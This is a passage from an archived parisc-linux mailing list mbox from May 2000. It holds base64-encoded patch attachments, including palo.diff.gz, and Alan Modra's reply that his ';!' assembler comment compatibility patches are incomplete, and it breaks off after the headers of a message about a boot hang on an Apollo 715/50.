ICZ5RLwUk1GJia9RsXXWfnX29v3Zh+u1SYPGXPoJ92Fk/v1Vg2JBUWtvVcnZ
3A8C/0fKmGSgUr7auny1meIZZUv+LeWlfWS3mNUftNsgWg3sjHKVh8nKlCzB
tU2rhXsXeEGpghyUxSs/cUd+4Cf34oAWZKVxOE3u3Ehs/bmLe7ZcRcswxtxX
JqD77CqBtBZkj72DLwL+5N34Mda9X3tTf+FjHBkThs+xx+78ZMZOINudQ1wV
IYJbSIlx6CeHrd5hq7tn8O9Fihh0rMRriu2tt/AiSLYV1pj61DSzqDVgh96f
qwZtbUaWvBNHPXo27gXRN9yC+MtWRwA7CtqxND6uqExSwYXeCOl0jolY46Lf
Ry7oG6uqUVe2dgXwsbw91nh4A04uQSG8xM30KmYqodg0z9VU48rqgpj1qMQv
/oCHU32KpjVzdBoukiisXKtiMxvnOGpG4yRS93Qu6pM3DkE+7qHvio4PqL57
hgbL64CpwD+OehJenLm6jMLEG6N4svPXDGxiHoAXIQDN0p+ks9ZTePvyQb8E
r414swC8CCHx2gqK8MLcWGpyLJqd8ThK74nSabiMwrEXx6BcMLlT/89VRMlg
Zpq0TvxRvRT9VD5opWM3RSVO517N/GnCTuY43RmSGhyvAlRU1LgtnIkmzoST
PimZUWfPKMDwIpDCnsI5Cns7fVKCvS2w52B4EUhhT+HwUdO/ddN7wn2Ochit
lgn7HXrDhJ9MJhBygWJooLwGVtHqqA4d2nH2vXn6gIidfQUECzCGa0xnCzoU
+J5O8+g9+INdFGVlnyyyzn4yTxe4ux7mLaC59ucoAToEL4AozMrUWWTrluP4
z/SBWpybyJ2nKi0s7Z8rbwXhiQ7O6+EVTaXlVk/QDFMkvVKaH6dTrO6mRPPw
/IEOiqqyAbhBAXPopxPUz0sKidhCBGF5Vdb68Md0ktRtZUlssiR+HKX3Rep5
bwZ089C8HlxRVLbDJtvhhykOq0hRTliGZB6cPwCvaCpLYpMl8ZfxXfogQ3S5
IiSXqRWEGCZZxew/w2gCpLVe/FHdFAfK2tiO0NEoHYdTpaOfoBmyMNTPPDSv
BVcUlQWyyQItlxM3fSCkeQb5Jm5XXLo3HnvtR2Rc7teWSO/CH+4DhJLUc0s6
1x7uHLgAFakAsLVnaGC8Ak4NRpk4m0zcLEkZExbunRvP2DXZp5R9DYiXQhHD
Vh5ZCSMWMmxp6ErhFMPKMtLGN9BIJbBbRcNGGjkwXgGnaCgbKU6xJ6nns4+r
aDhIIwfGK+AUDWUT7Z6gkUpVr4pGG2nkwHgFnKKhLKDdFzTSxe5X0eggjRwY
r4CTNPLBKtDopvdVNLpIIwfGK+AUjXz8m6ThumNV0ThGGjkwXgFHAfVfT/dB
dGSxJrg5eopb5hDz3YozMGzjD+HbIMF7FD49AWzu//XXE0/BlUqPTyDH9zGS
W5Umj81oKVYJmYvsRrqbKo8v7zXnCqKBm8/7IoPHak4BEu5bWWS9NTY6P0YQ
Vhair0Gw5zP/ZsaWbpRgoj8JVzCnLyAQD/ReMbgif4yvLnyBZjWGhnythcpK
KV+TdABgGfbZxE3cdSOeH0qbu9C8fjEEz46mTZ1MEx5CKmE039VOu7Z1rE7a
5GyEdX/4lJ9qMdGz++Z+owEJfoOrxcJpRwWYs98uzmD+4bEcUkxFuvyqUyJ1
kwNYj0kibwPyy1N2dXlyesaSCNaPKjDY1IEmmcDRa3Zu4tEa7m4+LmNvNQmz
E7LEqli4iodK9BpdXOUwmOSFjz2n7UoPORc92BQCZ5TpLWj901sRVesSZ2bg
hsWrkbiZrG3hISsxaXjYL0bp9diNMDvBvazkBaJqtxRZBB06eXc5/PwHEXh3
eXYoaSceykiMJ1jxD3xHZ5UQRnq97m7mLdho5QfilORqPGP0Yk+MBwnDpRdR
VQhxycOGouqMp2b3ef5DdZunnDyDP7EbMvgT+6GySiQ8e1oZooLpI12Robki
XvBFRt4X8RpnZBSdEdfsklH0RvxR7sjQ3RHP+yMj74+47pCMnEPimkcyNI/E
M9bS0FwS38B7GJpP0vFmndJGePkTm+FqmSkpSdc6JkNzTAUJoNLdTR5iPTCF
v9Q3ybZK57TDaSm4J6PUPfGN/JOxFWOwBevyzS7K4N/noyT1p3FSiEz3UvBM
d1O4ZX318T1rvmJnF29wv5SksnFwffbH9YHZaFxdfvj8/mXLvPr46folbsIf
itlgB+/PLy7OTz++PgOwf3w+eQ1AJxfnbz+87Jknp6dnV1cvW1/tcUnHi3PC
/FAfq5vtJAk92AuLOHhKZR8rF7RU4BPIoKtVjFk8C1cguDM8PSURyV0/RkIs
Fvu33xELrX8GXhKhiAL/f6P6wXItAy8R7yOsxII/l6vNRuFqId5Jm8FCTsCs
jCBv9b34hUlYYjwx+sW7j9nB24uPv51cHLCmRbTX9zbJgPxNgAkxjGdlD15f
XB8wxerBJd6thwrgS6y633rB/SErxCkkJk8wUYimcqawkb6eYK5IrL97shS7
D8xWQV+q1AUQfTr//eQaJVQojGXKJ2WyLLmUamMVhdmaim5tcS7C6fRwt1Nc
4MFjk4W99BDE2R+XgI8dHETe/NxMgxxMiA7P32NbYyx+tgndkPZIdhsQpstP
H0/xenoC2v/hzUf24eMQ/76SJziIU3GBBwcH8Ww4XS3GQ3cSxQMZKyJPePQS
mD/7x+cGvXqKqXzk3ahHEElh2mf3KarSGrhoYWJs8vW5g4OJf/s5Mzb6XYJW
27RsmxnqD9yyriAkMYhhogvGK54z8hfTcD1MkYig0KDnTvBAO74/tFgB4NQH
WYtBvj38tZJJ6GEbnlaZk7iNQfhHwowjmtG9ODN/F0ILvrFEx+FB2Bdg00e4
jqAEf1tA8OEGfztU7uW7KSOeDUmr955evWTM6pj0Dixqiu8GQ5gzHzQSjzuv
Ro2oJVpxebGUJw6Sjd0oujfZwsNfOBAn/NNekxg7IbyJP4Ejfprh9+bIp3ey
8KBNES9/GLGhI+YFzEyMb4DvFriTSYNe8KUvISLIC227zuMRw150YIdIpnzn
BmvFCdFHG5p4S5P5U1wF1QNojBsCtZm7pITELWVeRzoxGkiOnA0LmyG3BQpO
tG0Kbcgxt0uhs3UK3a1TON46hd7WKfS3TsFqbZ+EtX0S9vZJONsnsX3Ftrav
2db2Vdvavm5b21dua/vabW9fu23NgW+DxPadtr19r21vX7vt7Wu3vX3ttrev
3fb2tdvevnY729duZ/va7WjabUIaUppZ8JrUwiimFvyB3MKoGQl/YChG2VB4
MbvYBg3dUm2Dhm6qtkGjswMa3R3QON4Bjd4OaPR3QKOQbWyFiLULIvYuiDi7
ILILZbd2oe3WLtTd2oW+W7tQeGsXGm/vQuMLOchWiOzCudu78O72LjTe3oXG
27vQeHsXGm/vQuPtXWi8swuNd3ah8cXMhDVGt+KnPvC3jx6VDAVunBJOkxZx
v42zk+I3pGhXR2xS3eGPTaodHtz+clk8x5Nw43ARJ648W4Tvh+P5IuSQftXl
EbNZN7KtHLx5mrExbROO9i5HQdSgxY9a9Lo7bdyZC3wFnR6P/BsFDysrdg/v
18d1/PVLUHtN/IcX1sj3xZvSgTvyAmSRWIaJWkYhCZan3rXBF7zF69X0nnwd
B/wBFow8C/xbeJAbfH5ivmxIFminMYncJR0NoH9fYnIbCWHR4HgZoPoXa7I6
RO8uqBV8+ZL2LrV2rgHI39XLlAYewGk/hBN/nhrmIFoJpA797kCKmo1wGeRO
99DRkONPXhYguAbymJG3H+KynefS7iOjFVx2NOSdApcdHX0n5TIP2NVQdQuo
ujqqbgWqYw3VcQHVsY7q+FFz13to7nra3PVw+irmrq8h7xe47Ovo+xUDtlq6
eLcKyKxWQcRb60E3xH57QU2sR5wCKHBj61hIM9YkuE7jEQcCjBIiXKfy4HCc
bxlOW8fSrh2O803DaRfwtKsWW1c6q6h1VkHtrFTvnj4YeJd3mNJf4m3qEH06
VPm/7T1rc9vGrp/pX7Fpmxw5omy+JMtinBnXcVOdxrFr5/Q+5s5wZImyOaFE
laQsO9MffwDskly+JKUx2zN35LSitAuA2AeAfWCxSQhJzhb56Z0Fs8UydgeK
N22JQdB88vZEgOyz35dB7Lnz+ES3+R0eaYJmI/7HAJGVDPMktdPTaUqwkyQK
75uY3QZhGKyEa56iZEmEJwZsTYwu/nRlte1vrC0k8I3VJZzzauqLSYMHGu6g
d1Cyvk5jnsLAFt3AeqAhdZ21xROSClT2WGzkvNFesEdDod9IG/3Bjd5eh9z7
RSJ3G+sSuxWw7TyszYE5ZV2RfNnI96zTQCeoeM2zdzYmvOagRZ3bJycZq2KV
Jn/cY5BawdIxvhN/kHPgekz5W97Nr4CUc2jEUzIIgCPo7+be2P1ODBYTH1Dy
caU4J/xGLbqebb7COxsAaxx6izigYD0cgVyrfe+zy+5gjDk9SE7iPMM7kFLN
S6hP8pgyWo8i7ogn1tvcvcOwGYU6Pv/4jlw98bHXCWfzSVjlTVlMr3GmDN1Z
0ZlS144Mta8jK/wLtSECcp9JUAEooJK3oDTmT2YqqI8KvoLE0tc4CxJCnWHN
77clO3PbOfKlnGzjyUeWN/3IXkJBRSs3DDnf+TfV+AM8D/EaT4DnIV7jA/A8
xLtNEu81SfyoSeL9JokfN0m8zjnvmajrjVI3GqVuNkq9UTHVG5VTvVFB1RuV
VL1RUdUblVWjUVmt87J7JuqNGlSjUYtqNCqrRqOyajQqq0ajsmo0KqtGo7Jq
NiqrZqOyWuUuVzEx+IrTPtnMoGo5rGpqsLUnXsbMNq54xQqy19ZQu7qG6r3w
not8zRb9c5Gv2Zx/LvLdZsn3miV/1Cz5frPkj5slX+dd92z09YbpGw3TNxum
37Do6g3Lrt6w8OoNS6/esPjqDcuv0bD81rnJPRv9hg2v0bDlNRqWX6Nh+TUa
ll+jYfk1GpZfo2H5NRuWX7Nh+a3yd8NdibEfqm9OWDZTwK1vhhODEhmYdQRh
6ApPqBe4N+LFuAteDW7n4CmMBr/JWbl9oH0Qvh2ZbJCzq2VMdwy8PcGNWJzM
kBPauxsK2DBxfZeyzy4vhmcfrrNd0lUQfn7RyIbht3H0/HuL8pbRoMKHK8yc
uIBfaGzcaUMPrbIbVyj5cRVgaQdZffv2RN5FxhbFmyeZ5J4l0nir0n6YfqzT
FfL8ifdQ5Dnm/6CtMZyevClNFSp3C3J5c0cTclf4nsJMuQoPLaZA/8FrKmfh
Yr+c68ype6UA2I5f8TYEX/O6cnbxfdI+pWEcqSbuDoovtDs4W/rDTRFV5G1H
hFeZtJ+LUnsbq2/enCh03SDdFehjuJtoBY1JF8jD/Hs5x0ut3QndSfiWrlEW
V/0odFEzOUKR9x4G08K+HbrR0o8B6jEAlUFk0xck1OnOrVdEky0j7PyAWYmC
0VwpAM8j7ueG3vgz93ysYt3ezHu7wLtdzXy7knl7LfftSu7tEvusivZex7cG
TJTrhLMHZSJHQigJ/np7ouF75jyKHcVv+uymZdxr1xGwt6WAmuDLxF0ovFZN
Te2Lq5zwbqUThjcadl9pj9Pp/ps3Onud/PFdZ/WtqNUuv833BQvwGvCVB0Ij
FpZuIQVlJut8J9DjRUXoqo9BjXkNU6Qc4PoPzPzjDT66f0ANV7Fnb+SvXcWf
vY7Bdh2D9noOuddMUvuYhhfmBg+3ahwSJV20i5Hs3KHGoLuQK4HsHBQ0kK8N
GC230T2WAhSjj2Oo3smE+x15EcWAxCj50NKT5Rg6dD2ivR4TX6oPGNU8sWWY
qmFxgVCob4AwgCiyflbjUtWvwbU3IeOrDYH+tX2yXYe5ubvga80BQ3dvagyy
huTuxa03fOnjimbE0ncVwO318Cho3NGU85bWSpfXZ5eB1aypzzpEexMm2ku9
Rz0pYrfuNCDHNY9i7NKdy2vbImPArqFCYTa3JsMeNa6txJVrXVWj/l7dV+yc
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
kYU3yVgZh/29fwMj49e4OwEBAA==
--1024065794-666410647-958522222=:24914
Content-Type: APPLICATION/octet-stream; name="palo.diff.gz"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.21.0005171010221.24914@front.linuxcare.com.au>
Content-Description: 
Content-Disposition: attachment; filename="palo.diff.gz"

H4sICLF8ITkCA3BhbG8uZGlmZgCtVm1v2zYQ/iz/imuRYDYsxZKdeqmLAinS
DAhQYEESoPu0gJJomwtNaiRlx/31O75IlpeXLskM25Lu9eHDu6MuREnvZ8Aq
PiqUSY+ue5/f/uldnV3DnHE6g9FSruioWOtRRRTTBV64HO3SxeueokYxumZi
AQovmkkB2dG0V7L5HJIakgoShQIIAJMkCbfROE3TUToZjacwnsyy49n4JLKu
w+Fw3+TDKJtCNp0df5xlae/0FJIsHqcwdP+npz2IjjhdU46JM3CfHvSSd/iF
83ta1MaCyumCCQ1LquhRUH6nQBSFgnBOS8i3YJYULr+eAdEzbxIdXN98ubo5
6DNhqCKFYWsaAxUlKUs1aMLYmI1DxxASSIHNQUgDe/6ZlXYkDs/wk/s9hbhR
P4s5GP0EdRvK426cXofceiP/ht4bez3/4/L3qxsIAGIqjNr2mkfkKHoHmmAC
i1ryEiq9wXi43eMTIKIEUd955XfImekNo08vc4BI61WUxocqw/uVKQyP8D6G
Q+uBZWGrZ3wcTz/A0F9Q0MKDvVKyRYR45wzTyNrAxvIFG/vFK5ekpKVH+LwJ
RDlXFhNRC4uKlzLqh5xJnueDvtMMEKS3QNnM2TEefTvsHyy4zAk/sAZlFQJc
deR9FDdKB/lmybBuSHEHeJ1L5Qg6//Yb3PG6XFi+ZL1YAkPAUvxi/9UdbKlx
zmjOtJUKShG+fdY4BszS9njOfvzA+vPLfnUa5/2f8rQsNBUFh+qkQ4GXIgPq
ZBB0bhEXghlGOBzqCj4D4Wwh+rfYAQOf+2k1FgBbVVIZsM8xFLLsoPAy9NpB
cG59FA2CwuX/YoBTog0QKGWdc5rg4svEZcK1ahNYU/TvmimUUERiKcRWdgGc
JaDQSBj/OXU6IQHnsGFFzYniW1hIWWIEoqXwy3pTVhfhpWkhwpnCounELb6h
pqQVw4KfZPE03nHi+tgybvuXaAoXYCiCrcUG+6c/cFwDMa4MoJI4ZzoD4IWO
EBWy2kYelMJjw2Ooar1EdjwTc0VWoZQfkfsdnh4/2FttpLJTeJGipVy5qp8z
tdq0jfGsBY4os4lsq6cxJCF+COzlmZWnXh7iPVTAY72BNuO2NJtTwEkHrdal
sueHg3XmycPttnxBre2trBU+KkULAyUyzQSxJ5IH8zrXXV9VqEP70FpuU7xk
/7hyozTBDVEmYTrxs7QRb/BLBCpMYOhtIeyEjlpch8pyKGQVON5Eya4K7LY5
0F6eduSZh/KYAjrrx9enFWEibpfvCA1SWDOCdajw6Ne4Eqxoe5oURMBf9ary
1XR5cYYdSgrvjZwLKZKdcLdJr4rp3B8EbWutQY8sTdpKC0KcwpNB0Dhs9iBk
COQ9viXWSrx/AuzPzdr0aHHbgbAr9o4CYbhyV02xa9xYPKBxJ+zwY2H2X1+G
5npK24wQnB6dfbTMNpn8C80dVYLyxL3r4GnSoPj3y9etffuiWkMfR6ydD3jS
acQ5V5QmlVGhkv+3aFjU6yh1e9KUc4ekmXsT+pjGv8LQ/ePjnnqPcg/qIeNe
/oDwICZim+RskYh6lVNlG361wne2hDOBi8CDybWmu9sdza/0beEGQ2/n27VB
3FG5oZgOdhZ+q/1Q9nv9D99cYIBdDQAA
--1024065794-666410647-958522222=:24914--


From - Thu Nov 08 21:12:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc and the rest of the world
Date: Wed, 17 May 2000 14:01:07 +1000 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005171358590.24914-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0005170945210.24914-102000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416618915 32634 80.91.229.3 (22 Nov 2014 01:15:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@endor.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue May 16 22:02:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA32329
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 May 2000 22:02:57 -0600
Original-Received: (qmail 25343 invoked by uid 15267); 17 May 2000 04:03:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25330 invoked from network); 17 May 2000 04:03:01 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 17 May 2000 04:03:01 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA31587;
	Wed, 17 May 2000 14:01:07 +1000
In-Reply-To: <Pine.LNX.4.21.0005170945210.24914-102000@front.linuxcare.com.au>
Content-ID: <Pine.LNX.4.21.0005171358592.24914@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7281

On Wed, 17 May 2000, Alan Modra wrote:

> I've attached a set of patches for the kernel and palo that use a `;!'
> comment start to provide backward compatibility with existing tools.

Which is incomplete, I've just found :-(  The kernel uses ';' in some
macros to generate asm, with bad results if you happen to be using
binutils where ';' is a comment char.  Fixing it....

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Snow <csnow@julian.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hang during boot - Apollo 715/50
Date: Wed, 17 May 2000 17:19:22 -0400 (EDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005171707460.1861-100000@boy.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618915 32637 80.91.229.3 (22 Nov 2014 01:15:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:15 +0000 (UTC)
